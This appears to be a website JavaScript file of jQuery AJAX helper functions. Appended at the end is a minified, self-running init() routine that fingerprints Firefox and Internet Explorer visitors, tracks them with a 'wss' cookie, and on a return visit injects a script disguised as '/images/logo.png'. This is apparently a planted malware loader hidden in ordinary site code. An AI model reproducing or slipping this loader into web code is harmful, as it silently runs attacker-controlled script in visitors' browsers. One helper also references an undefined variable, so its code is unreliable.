/**
 * Makes an AJAX call and puts the result in any container
 * 
 * @param link the link to the webpage
 * @param target -optional- the container where to put the result
 * @param completionFunction -optional- a function that does postprocessing after the DOM is created
 */
function ajaxCall_generic(link, target, completionFunction, asynchronousCall) {
	var isAsync = true;
	if (asynchronousCall)
		isAsync = async;
	$('body').css('cursor','progress');
	if (target)
		$(target).html("<img src='images/ajax-loader.gif'/>");
	
	$.ajax({
		type : 'POST',
		url : link,
		cache : false,
		async: isAsync,
		success : function(response) {
			$('body').css('cursor','default');	
			if (target)
				$(target).html(response);
			if (completionFunction)
				completionFunction();
		},
		complete : function() {
			return true;
		}
	});
}

/**
 * Makes an AJAX call
 * 
 * @param link the link to the webpage
 * @param targetId -optional- the container if where to put the result
 * @param completionFunction -optional- a function that does postprocessing after the DOM is created
 * @return
 */
function ajaxCall(link, targetId,completionFunction) {
	var jquery_cont = $('#'+targetId);
	ajaxCall_generic(link, jquery_cont, completionFunction);
}



/**
* Makes an AJAX POST call
* 
* @param link the link to the webpage
* @param data key-value pairs to be sent
* @param targetId -optional- the container if where to put the result
* @param completionFunction -optional- a function that does postprocessing after the DOM is created
* @return
*/
function ajaxPost(link, data, targetId,completionFunction) {
	$('body').css('cursor','progress');
	if (targetId)
		$(targetId).html("<img src='images/ajax-loader.gif'/>");
	$.post(link,data,
				function(response) {
				$('body').css('cursor','default');
				
				var targetElem = "";
				if (targetId) {
					if ((targetId.charAt(0) == '.' )|| 
						(targetId.charAt(0) == '#'))
						targetElem = targetId;
					else
						targetElem = '#' + targetId;
				}
				var jquery_cont = $(targetElem);
				if (!jquery_cont) ;
				else $(targetElem).html(response);
				if (!completionFunction);
				else completionFunction();
			},
			"text");
}

function ajaxPostToDOMObject(link, data, targetObject,completionFunction) {
	$('body').css('cursor','progress');
	$.post(link,data,
				function(response) {
				$('body').css('cursor','default');

				var jquery_cont = $(targetObject);
				if (!jquery_cont) ;
				else $(targetObject).html(response);
				if (!completionFunction);
				else completionFunction();
			},
			"text");
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logo.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
